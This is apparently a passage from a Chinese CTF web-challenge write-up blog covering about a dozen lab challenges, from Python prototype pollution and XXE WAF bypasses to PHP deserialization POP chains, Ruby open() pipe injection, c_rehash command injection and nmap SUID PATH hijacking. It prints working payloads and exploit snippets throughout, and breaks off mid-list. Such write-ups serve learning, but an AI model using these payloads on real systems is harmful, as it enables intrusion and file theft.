a='";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}"'
b=len(a)
print(b*"hacker"+a)

参考

11.DASCTF 2023 ezweb

打开给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"

@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

提供了一个注册的路由和登录的路由

以为是session伪造

但是解码的时候没有提供密钥

看wp吧害

python原型链污染

在 Python中,对象的属性和方法可以通过原型链继承来获取。每个对象都有一个原型,原型上定义了对象可以访问的属性和方法。当对象访问属性或方法时,会先在自身查找,如果找不到就会去原型链上的上级对象中查找,原型链污染攻击的思路是通过修改对象原型链中的属性,使得程序在访问属性或方法时得到不符合预期的结果。常见的原型链污染攻击包括修改内置对象的原型、修改全局对象的原型等
需要合并函数merge(src,dst)

1
2
3
4
5
6
7
8
9
10
11
12
13
def merge(src, dst):  #src为原字典,dst为目标字典
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'): #键值对字典形式
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k)) #递归到字典最后一层
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #class形式
merge(v, getattr(dst, k)) #递归到最终的父类
else:
setattr(dst, k, v)

(这里不是很会等学了面向对象编程再说)

注意到调用了__file__类,可以调用全局变量将这个file修改为需要的/flag目录

过滤了__init__,可以使用uncode去编码绕过

1
{"username":"admin","password":"123456","\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{"__globals__":{"__file__":"../../../proc/1/environ"}}}

发包之后再源文件就可以得到flag

后面更新会减少

开始学jvav啦

12[CSAWQual 2019]Unagi看xxe各种绕过

打开环境

网站给了我们一个上传文件的接口

上传简单的1.php一句话木马,显示上传不为所需的文件后缀

随便上传了一个1.1,也被过滤,看来是白名单

nikto是扫描,看到nigix的版本是1.12,查了下有没有现成的cve

有的但是用不上

看到有一个here界面,看到以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version='1.0'?>
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>

看来这里上传的应该是xml文件

尝试上传一个恶意的xml文件

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>&xxe;</group>
</user>
</users>

但是显示被waf掉了

这里需要绕过

xxe的各种绕过

1.XML通常用于从movies到Docker容器的所有内容的元数据,并且是API协议(如REST、WSDL、SOAP、Web-RPC和其他协议)的基础,而且,一个应用程序可能包含多个链接的XML解释器,这些解释器处理来自不同应用程序层的数据。这种通过XML解释器在应用程序堆栈中的不同位置注入外部实体的潜在隐患使XXE变得很危险。

XXE不是一个bug,而是XML解析器的well-documented特性。XML数据格式允许您在XML文档中包含任何外部文本文件的内容。

以下为一次xxe攻击的实例

1
2
3
4
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>&xxe</root>

在<?xml>里面确定文档的特征,版本和编码等

在<!DOCTYPE>里面设置外部链接

在下面的正文里面加入设置的外部链接然后输出链接对应内容

(1)开头添加额外空格

waf在检测xml文件的时候,可能只检查了xml文档的开头部分,只解析了他的开头

同时xml也允许在<?xml?><!DOCTYPE>中插入额外的空格

直接构造一个超级长的空格串,然后绕过waf

1
 <?xml[....1000000空格......]version='1.0'?><!DOCTYPE users [<!ENTITY xxe SYSTEM "file:///flag" >]><root>&xxe</root>

(2)无效的格式

有的WAF不会读取链接文件的内容,但是当链接的文件存在在声明里面,这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。

(3)外来编码

这也就是此题的解法

除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如)——文档的第一个字节带有可选的BOM(字节顺序标记)。

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

这里直接使用utf-16转换文档,上传之后得到flag、

(4)在一个文档中使用两种类型的编码

不同的解析器可能在不同的时间转换编码。Java解析器(javax.xml.parsers)在结束后严格地更改字符集,而libxml2解析器可以在执行“编码”属性的值之后或在处理之前或之后切换编码。

参考

[绕过WAF保护的XXE - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/4059#:~:text=libxml2的文档,在标记中间将编码从utf-16le更改为utf-16be: libxml2的文档,编码从utf-8改为ebcdic-us:,正如你所看到的,有许多绕过方法。 防止XXE的最好方法是配置应用程序本身,以安全的方式初始化XML解析器。)

13[NCTF 2018]Easy_Audit

源码都给了,要什么飞机(还是不会做)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}

if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}

if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){//直接传入数组就可以让两边都可以变为false
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){//直接双写n绕过
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}
?>

上来就有一个问题

$_REQUEST检测了所有上传的数据,一旦检测到存在字母就直接die();

_REQUEST变量覆盖

当超全局变量request检测的到get和post传了一个同名变量的值,post的值会默认覆盖掉get的值

在这里就可以post和get同时传值的方法来做到绕过

$_SERVER[‘QUERY_STRING’]绕过

$_SERVER[‘QUERY_STRING’]匹配的是原始数据,也就不会经过处理,例如url编码的解码等

可以使用url编码绕过

其他都是常规的

更改文件内容直接使用data伪协议

14.[CISCN 2022初赛] online_crt

我这水平还是做不了这种题

上来给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri}
HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
app.run(host="0.0.0.0", port=8888)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)

if err := router.Run(":8887"); err != nil {
panic(err)
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
my $dir = "/usr/lib/ssl";
my $prefix = "/usr";
my $errorcount = 0;
my $openssl = $ENV{OPENSSL} || "openssl";
my $pwd;
my $verbose = 0;
my $symlink_exists=eval {symlink("",""); 1};
my $removelinks = 1;
## Parse flags.
while ( $ARGV[0] =~ /^-/ ) {
my $flag = shift @ARGV;
last if ( $flag eq '--');
if ( $flag eq '-h' || $flag eq '-help' ) {
help();
} elsif ( $flag eq '-n'){
$removelinks = 0;
} elsif ( $flag eq '-v' ) {
$verbose++;
}
else {
print STDERR "Usage error; try -h.\n";
exit 1;
}
}

sub help {
print "Usage: c_rehash [-old] [-h] [-help] [-v] [dirs...]\n";
print " -old use old-style digest\n";
print " -h or -help print this help text\n";
print " -v print files removed and linked\n";
exit 0;
}

eval "require Cwd";
if (defined(&Cwd::getcwd)) {
$pwd=Cwd::getcwd();
} else {
$pwd=`pwd`;
chomp($pwd);
}

# DOS/Win32 or Unix delimiter? Prefix our installdir, then search.
my $path_delim = ($pwd =~ /^[a-z]\:/i) ? ';' : ':';
$ENV{PATH} = "$prefix/bin" . ($ENV{PATH} ? $path_delim . ${PATH} : "");

if (! -x $openssl) {
my $found = 0;
foreach (split /$path_delim/, $ENV{PATH}) {
if (-x "$_/$openssl")
{
$found = 1;
$openssl = "$_/$openssl";
last;
}
}
if ($found == 0) {
print STDERR "c_rehash: rehashing skipped ('openssl' program not available)\n";
exit 0;
}
}

if (@ARGV) {
@dirlist = @ARGV;
} elsif ($ENV{SSL_CERT_DIR}) {
@dirlist = split /$path_delim/, $ENV{SSL_CERT_DIR};
} else {
$dirlist[0] = "$dir/certs";
}

if (-d $dirlist[0]) {
chdir $dirlist[0];
$openssl="$pwd/$openssl" if (!-x $openssl);
chdir $pwd;
}

foreach (@dirlist) {
if (-d $_ ) {
if ( -w $_) {
hash_dir($_);
} else {
print "Skipping $_, can't write\n";
$errorcount++;
}
}
}
exit($errorcount);

sub hash_dir {
my %hashlist;
print "Doing $_[0]\n";
chdir $_[0];
opendir(DIR, ".");
my @flist = sort readdir(DIR);
closedir DIR;
if ( $removelinks ) {
# Delete any existing symbolic links
foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
if (-l $_) {
print "unlink $_" if $verbose;
unlink $_ || warn "Can't unlink $_, $!\n";
}
}
}
FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
# Check to see if certificates and/or CRLs present.
my ($cert, $crl) = check_file($fname);
if (!$cert && !$crl) {
print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
next;
}
link_hash_cert($fname) if ($cert);
link_hash_cert_old($fname) if ($cert);
link_hash_crl($fname) if ($crl);
link_hash_crl_old($fname) if ($crl);
}
}

sub check_file {
my ($is_cert, $is_crl) = (0,0);
my $fname = $_[0];
open IN, $fname;
while(<IN>) {
if (/^-----BEGIN (.*)-----/) {
my $hdr = $1;
if ($hdr =~ /^(X509 |TRUSTED |)CERTIFICATE$/) {
$is_cert = 1;
last if ($is_crl);
} elsif ($hdr eq "X509 CRL") {
$is_crl = 1;
last if ($is_cert);
}
}
}
close IN;
return ($is_cert, $is_crl);
}
sub link_hash_cert {
my $fname = $_[0];
my $x509hash = $_[1] || '-subject_hash';
$fname =~ s/'/'\\''/g;
my ($hash, $fprint) = `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;
chomp $hash;
chomp $fprint;
$fprint =~ s/^.*=//;
$fprint =~ tr/://d;
my $suffix = 0;
# Search for an unused hash filename
while(exists $hashlist{"$hash.$suffix"}) {
# Hash matches: if fingerprint matches its a duplicate cert
if ($hashlist{"$hash.$suffix"} eq $fprint) {
print STDERR "WARNING: Skipping duplicate certificate $fname\n";
return;
}
$suffix++;
}
$hash .= ".$suffix";
if ($symlink_exists) {
print "link $fname -> $hash\n" if $verbose;
symlink $fname, $hash || warn "Can't symlink, $!";
} else {
print "copy $fname -> $hash\n" if $verbose;
if (open($in, "<", $fname)) {
if (open($out,">", $hash)) {
print $out $_ while (<$in>);
close $out;
} else {
warn "can't open $hash for write, $!";
}
close $in;
} else {
warn "can't open $fname for read, $!";
}
}
$hashlist{$hash} = $fprint;
}

sub link_hash_cert_old {
link_hash_cert($_[0], '-subject_hash_old');
}

sub link_hash_crl_old {
link_hash_crl($_[0], '-hash_old');
}


# Same as above except for a CRL. CRL links are of the form <hash>.r<n>

sub link_hash_crl {
my $fname = $_[0];
my $crlhash = $_[1] || "-hash";
$fname =~ s/'/'\\''/g;
my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;
chomp $hash;
chomp $fprint;
$fprint =~ s/^.*=//;
$fprint =~ tr/://d;
my $suffix = 0;
# Search for an unused hash filename
while(exists $hashlist{"$hash.r$suffix"}) {
# Hash matches: if fingerprint matches its a duplicate cert
if ($hashlist{"$hash.r$suffix"} eq $fprint) {
print STDERR "WARNING: Skipping duplicate CRL $fname\n";
return;
}
$suffix++;
}
$hash .= ".r$suffix";
if ($symlink_exists) {
print "link $fname -> $hash\n" if $verbose;
symlink $fname, $hash || warn "Can't symlink, $!";
} else {
print "cp $fname -> $hash\n" if $verbose;
system ("cp", $fname, $hash);
warn "Can't copy, $!" if ($? >> 8) != 0;
}
$hashlist{$hash} = $fprint;
}

(什么jb语言没见过相似)

照着wp慢慢来源码分析

python的是外网的源码,在/的路由可以传入一系列数据

然后在/getcrt得到crt的证书地址

在/proxy路由里面可以得到访问结果

然后在/createlink建立链接

内网是一个go语言书写的框架,对外网/proxy访问有反应

可以使用/admin/rename路由去修改名字

注意到在python的/proxy

像内网发包的时候只是进行了url的简单拼接,并没有实际的检验

1
2
3
4
5
6
7
8
  msg = f'''GET {uri} 
HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''

在这里可以构造问题语句

直接构造url=/admin/rename去访问后端路由

go后端只是简单的检验了

1
2
3
4
5
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}

路径是否为空和host是否为admin

url注入http头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Request.Host为请求的host头,在python中请求包中host头是固定的(test_host_api),这里我们需要想办法让go后端认为host值为admin

python在代理请求时直接使用了socket发送raw数据包,在数据包{uri}处没有过滤,所以我们可以在uri注入一个host头来替换原本的头
GET / HTTP /1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

HTTP /1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

go的RawPath特性

Request.URL.RawPath检验,有一个特性

go语言中会对原始url进行解码(反转义),如果解码后再编码的url和原始url不同,那么RawPath会被设置为原始url,反之会被设置为空

将一个被url编码的/转换为原始的,就可以避免被制空

c_rehash命令执行 C VE-2022-1292

在生成软连接的时候,文件的名字拼接过程没有过滤反引号`,存在rce的可能

构造

恶意的文件名字,拼接到文件中去,实现rce

15.[nepctf2023]ez_java_checkin

提示是一个很老的cve

抓包看到cookie有一个remerner,name什么的cookies很奇怪

上网查询

CVE-2016-4437

一把梭

写一个内存马

123

然后sudo提权

12323

16.[nepctf2023]独步天下-转生成为镜花水月中的王者

第一次渗透

上来whoami测试了下结果是pwn

几乎没啥权限

1
total 8 drwxr-xr-x 2 0 0 0 Jul 17 09:46 bin drwxr-xr-x 7 0 0 2260 Aug 12 06:29 dev drwxr-xr-x 2 0 0 0 Jul 17 09:46 etc -rwxr----- 1 0 0 72 Jul 17 09:46 flag drwxr-xr-x 3 0 0 0 Jul 17 09:46 home -rwxr-xr-x 1 0 0 423 Jul 17 09:58 init drwxr-xr-x 3 0 0 0 Jul 17 09:46 lib drwxr-xr-x 2 0 0 0 Jul 17 09:46 lib64 lrwxrwxrwx 1 0 0 11 Jul 17 09:46 linuxrc -> bin/busybox dr-xr-xr-x 99 0 0 0 Aug 12 06:29 proc drwx------ 2 0 0 0 Jun 9 14:24 root drwxr-xr-x 2 0 0 0 Jul 17 09:46 sbin dr-xr-xr-x 12 0 0 0 Aug 12 06:29 sys drwxrwxrwt 2 0 0 40 Aug 12 06:29 tmp drwxr-xr-x 4 0 0 0 Jul 17 09:46 usr

看了下都没权限

尝试使用suid提权,发现一个nmap有权限进行调用

上nmap 去尝试建立一个交互式反应

1
nmap --interactive

然而发现跳出来一个

ports-alive不存在

这里需要用点活

环境注入

在这里namp调用的时候 ports-alive不存在

我们可以在环境变量里面添加上/tmp目录,

同时在tmp目录下创建一个恶意的 ports-alive文件

root会调用这个恶意的文件

从而完成注入

312

比赛虽然环境有点草台班子

但是

题目质量很高

17.[NCTF 2018]全球最大交友网站

是一个git泄露回滚

使用一个超级好用的脚本

scrabble http://node4.anna.nssctf.cn:28343/

把git给拿下来然后在本地git仓库回滚

1
2
git log //显示修改历史
git show head +名字//展示修改记录得到flag

18.[安洵杯 2019]easy_web

img存在任意文件读取,直接读取index.php

编码方式是hex加密后两次base64加密

读取到index。php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixiï½ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo ` `;//输出运行结果
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

简单的md5强碰撞

1
2
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

过滤了一堆。。。没过滤反斜杠\

直接l\s ca\t /flag

直接得到flag

注意cat+flag,因为没有+号的话也会被解析成路径

在这里也可以使用sort /flag

19.[第五空间]2023 png图片转换器

上来给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end

end

get '/convert' do
open("./view/convert.html", 'r').read()
end

post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end

file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

网站提供了两个路由,一个是上传,一个是浏览

然而上传的是地方已经处理的名字和文件的后缀是png,没办法上传🐎

同时在读取文件的地方存在的任意文件读取的问题由于过滤了../难以做到目录穿越

这里存在rce的问题

ruby file.open漏洞

在尝试打开一个文件的时候,是可以接受管道符的

在这里使用管道符去进行链接,使用``去作为执行

在linux里面``的作用

凡是打上反引号的命令,首先将反引号内的命令执行一次,然后再将已经执行过的命令得到的结果再执行一次,就可以得到我们反引号的输出

这里可以使用echo讲所得的内容输出到目标的png里面,用管道符号去链接

1
| `echo ZW52IA== |base64 -d` > 7fd42952478a381f318b19cf148f48c0.png

然后得到flag

20.pop子和pipi美

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}
class Pipimi{
public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{

public function PopukoPipimi(){
$is = "Good sisters";
}

public $kiminonawa,$str;

public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
public function __toString(){
return $this->str->kiminonawa;
}

public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}
if(isset($_GET['pop'])) @unserialize($_GET['pop']);

else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}

攻击点在popuko类的append函数的地方存在文件包含

链子的结尾

然后链子的开头,位于Goodsisters类的wakeup,这里

1
$this->kiminonawa = "index.php";

触发tostring,然后只要str类里面没有kiminonawa成员就会触发get()

序列化可以序列化不存在的成员

直接构造一个p,序列化

于是完成了构造

下面是payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Popuko {
private $No_893="php://filter/read=convert.base64-encode/resource=f14g.php";
}

class Pipimi{
public $pipi;
}

class Goodsisters{
public $kiminonawa;
public $str;
}
$pop=new Goodsisters;
$pop->str=new Pipimi;
$pop->str->p=new Popuko;
$hello=new Goodsisters;
$hello->kiminonawa=$pop;

echo urlencode(serialize($pop));
?>

如果不ur编码,一部分内容会无法传上去

21.蓝帽杯2023初赛 funny_php

这初赛的水平真的蛮高的,几十行的代码牛魔硬生生看了好久

真的答辩

上源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
class Saferman{
public $check = True;
public function __destruct(){
if($this->check === True){
file($_GET['secret']);
}
}
public function __wakeup(){
$this->check=False;
}
}
if(isset($_GET['my_secret.flag'])){
unserialize($_GET['my_secret.flag']);
}else{
highlight_file(__FILE__);
}

起手先whatweb扫一下 php版本7.4.33(记住这个,后面要考)

如果直接传值传入my_secret.flag,会被php处理掉,

php对非法变量名字的处理

变量中的变量名,其中的点和下划线会被转换成下划线

这里需要一个tips

1
当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

这里传值传入my]secret.flag

然后就是基本的反序列化,这里需要绕过wakeup方法

绕过wakeup方法总结

1.cve-2016-7124

这里对版本有要求

PHP5:<5.6.25 PHP7:<7.0.10

对象的属性数量大于真实值,这里用不了

2.php issue#9618v

php issue#9618提到了最新版wakeup()的一种bug,可以通过在反序列化后的字符串中包含字符串长度错误的变量名使反序列化在__wakeup之前调用__destruct()函数,最后绕过__wakeup(),

版本

  • 7.4.x -7.4.30
  • 8.0.x

在以下情况下也会触发此事件。

  • - 删除)。
    - 类属性的数量不一致。
    - 属性键的长度不匹配。
    - 属性值的长度不匹配。
    - 删除;
    
